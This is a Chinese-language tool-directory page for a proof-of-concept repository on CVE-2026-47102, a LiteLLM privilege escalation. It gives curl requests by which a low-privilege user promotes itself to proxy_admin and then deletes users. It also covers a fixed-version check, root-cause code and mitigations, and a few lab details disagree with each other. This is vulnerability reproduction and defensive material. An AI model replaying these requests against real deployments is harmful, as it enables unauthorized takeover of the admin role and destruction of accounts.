Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-47102-PoC — 用于个人复现相应漏洞的代码 | Kitploit
工具/GitHubGitHub/learner202649/cve-2026-47102-poc
权限提升漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHublearner202649/cve-2026-47102-poc

CVE-2026-47102-PoC

用于个人复现相应漏洞的代码

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-47102 — LiteLLM Privilege Escalation via /user/update

LiteLLM v1.83.7(v1.83.10 之前版本)的 /user/update 端点允许拥有该端点访问权限的 低权限用户在更新自己的账户时将 user_role 字段修改为 proxy_admin, 实现未授权的权限提升。

FieldValue
CVECVE-2026-47102
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization)
AffectedLiteLLM < 1.83.10(确认于 v1.83.7)
Fixedv1.83.10+(新增 user_role 字段修改权限校验)
Published2026-05-21
Discovered byFenix Qiao (13ph03nix) — Obsidian Security
LinksNVD

Description

LiteLLM 的 /user/update 端点用于更新用户属性。在受影响的版本中,/user/update 的 can_user_call_user_update() 函数会检查用户是否有权更新指定用户(允许用户更新 自己的记录),但不对可修改的字段做任何限制。

这意味着任何能够访问 /user/update 端点的用户(例如,被管理员授予了该路由权限的 用户,或通过其他漏洞获得该端点访问权限的攻击者),都可以通过修改自己的 user_role 字段将自身角色提升为 proxy_admin,获得对所有管理端点的完全访问权限。

攻击链

root@kitploit:~
Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
  →  internal_user 获得 route-level 访问权限
  →  POST /user/update  {"user_id": "...", "user_role": "proxy_admin"}  ← CVE-2026-47102
  →  角色提升为 proxy_admin
  →  GET /user/list  (验证管理员访问权限)

与 CVE-2026-47101 的区别

两个漏洞可串联使用:CVE-2026-47101 用于创建通配符路由 key(访问 /user/update), CVE-2026-47102 用于将自己的角色提升为 proxy_admin。


Proof of Concept

环境准备

root@kitploit:~
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable)
docker compose up -d litellm

# 等待服务就绪(约 10-30 秒)
sleep 15

确认服务运行

root@kitploit:~
# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10

预期输出应包含 Uvicorn running on http://0.0.0.0:4000 等启动成功的日志。

Step 1: 创建 internal_user 账户

使用 master key 创建一个低权限的 internal_user 账户:

root@kitploit:~
curl -s -X POST http://localhost:4002/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

预期输出:

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Step 2: 管理员授予带有 /user/update 路由权限的 key

管理员为 internal_user 创建带有 /user/update 路由访问权限的 API key。 这是在真实环境中拥有 /user/update 端点访问权限的典型方式:

root@kitploit:~
# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'

预期输出:

root@kitploit:~
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

Step 3: 权限提升至 proxy_admin(CVE-2026-47102)

使用上一步获得的带有 /user/update 路由权限的 key,将用户角色提升为 proxy_admin:

root@kitploit:~
curl -s -X POST http://localhost:4002/user/update \
  -H "Authorization: Bearer sk-route-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

预期输出:

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ 漏洞点: user_role 已从 internal_user 变更为 proxy_admin! /user/update 端点允许用户修改自己的 user_role 字段,未做任何字段级权限限制。

Step 4: 验证管理员访问权限

通过 /user/list 端点验证角色提升生效(使用原始 internal_user 的 API key, 该 key 无路由限制,提升为 proxy_admin 后自动获得管理权限):

root@kitploit:~
# 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制)
curl -s -X GET http://localhost:4002/user/list \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json"

预期输出:

root@kitploit:~
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Step 5: 扩展 — 删除管理员用户

利用获得的 proxy_admin 权限,可以通过 /user/delete 删除任意用户 (同样使用原始 internal_user 的 API key):

root@kitploit:~
curl -s -X POST http://localhost:4002/user/delete \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

预期输出:

root@kitploit:~
1

一键复现

以上步骤已整合为 demo.sh,可直接执行:

root@kitploit:~
# 完整复现(包含漏洞版 + 修复版对比)
bash demo.sh

Fixed Version Verification

启动修复版本(v1.83.10-stable)验证 CVE-2026-47102 已被修复:

root@kitploit:~
docker compose --profile fixed up -d litellm-fixed

创建 internal_user:

root@kitploit:~
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")

创建带有 /user/update 路由的 key:

root@kitploit:~
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

尝试提升权限(预期被阻止):

root@kitploit:~
curl -s -X POST http://localhost:4003/user/update \
  -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"

预期输出(修复版本阻止越权请求):

root@kitploit:~
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}

与有漏洞版本对比:

测试场景有漏洞版本 (v1.83.7)修复版本 (v1.83.10)
路由 key 修改 user_role✅ 成功提升为 proxy_admin❌ 被阻止("Only proxy admins can modify user roles.")
访问 /user/list✅ 成功获取用户列表❌ 被阻止

Root Cause Analysis

漏洞根因位于 /user/update 端点的 can_user_call_user_update() 函数:

/user/update — 缺少字段级权限校验

root@kitploit:~
# 有漏洞的代码 — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # 管理员可以更新任何用户
    elif user_api_key_dict.user_id == user_info.user_id:
        return True  # ❌ 用户可以更新自己的记录 — 包括 user_role 字段!
    return False

修复方案(v1.83.10+):

root@kitploit:~
def can_user_call_user_update(user_api_key_dict, user_info, data):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # 管理员仍然可以更新任何用户和字段
    elif user_api_key_dict.user_id == user_info.user_id:
        # 限制非管理员可修改的字段
        allowed_fields = {"metadata", "display_name", "email"}
        requested_fields = set(data.keys())
        forbidden = requested_fields - allowed_fields
        if forbidden:
            raise ForbiddenError(f"Cannot modify fields: {forbidden}")
        return True
    return False

Exploitation Technique

前置条件

攻击者需要有一个能够访问 /user/update 端点的 API key。这可以通过以下方式获得:

  1. 管理员授予路由权限 — 管理员创建了带有 /user/update 路由的 key
  2. CVE-2026-47101 — 利用 /key/generate 的 wildcard 路由漏洞创建通配符 key
  3. org_admin 角色 — org_admin 在某些配置中有权访问 /user/update

攻击步骤

Step 1: 获得带有 /user/update 路由权限的 API key

Step 2: 调用 /user/update 提升角色:

root@kitploit:~
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Step 3: 验证管理员权限:

root@kitploit:~
GET /user/list
Authorization: Bearer sk-route-key

Patch Analysis (v1.83.10)

修复版本在 /user/update 中增加了字段级权限校验:

  1. 限制非管理员可修改的字段 — internal_user 只能更新 metadata 等非关键字段
  2. 保护 user_role 字段 — 只有 proxy_admin 可以修改用户角色
  3. 保持自更新能力 — 用户仍可更新自己的基本信息,但无法提升权限

错误信息:"Only proxy admins can modify user roles."


Repository Structure

root@kitploit:~
CVE-2026-47102/
├── README.md                               # This file
├── CVE-2026-47102_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

Mitigation

  1. Upgrade to LiteLLM v1.83.10+ (fixed /user/update field-level authorization)
  2. Restrict API key route privileges — grant only necessary routes
  3. Audit existing users and keys for signs of privilege escalation
  4. Monitor /user/update calls with user_role changes for anomalous activity

References

  • NVD Detail
  • Obsidian Security Advisory

Disclaimer: This content is provided for educational purposes and authorized security testing only.

下载工具
对比项CVE-2026-47101CVE-2026-47102
漏洞焦点/key/generate 未校验 allowed_routes/user/update 缺少字段级权限
攻击前提internal_user 可直接调用 /key/generate需先获得 /user/update 路由访问权
修复版本v1.83.14v1.83.10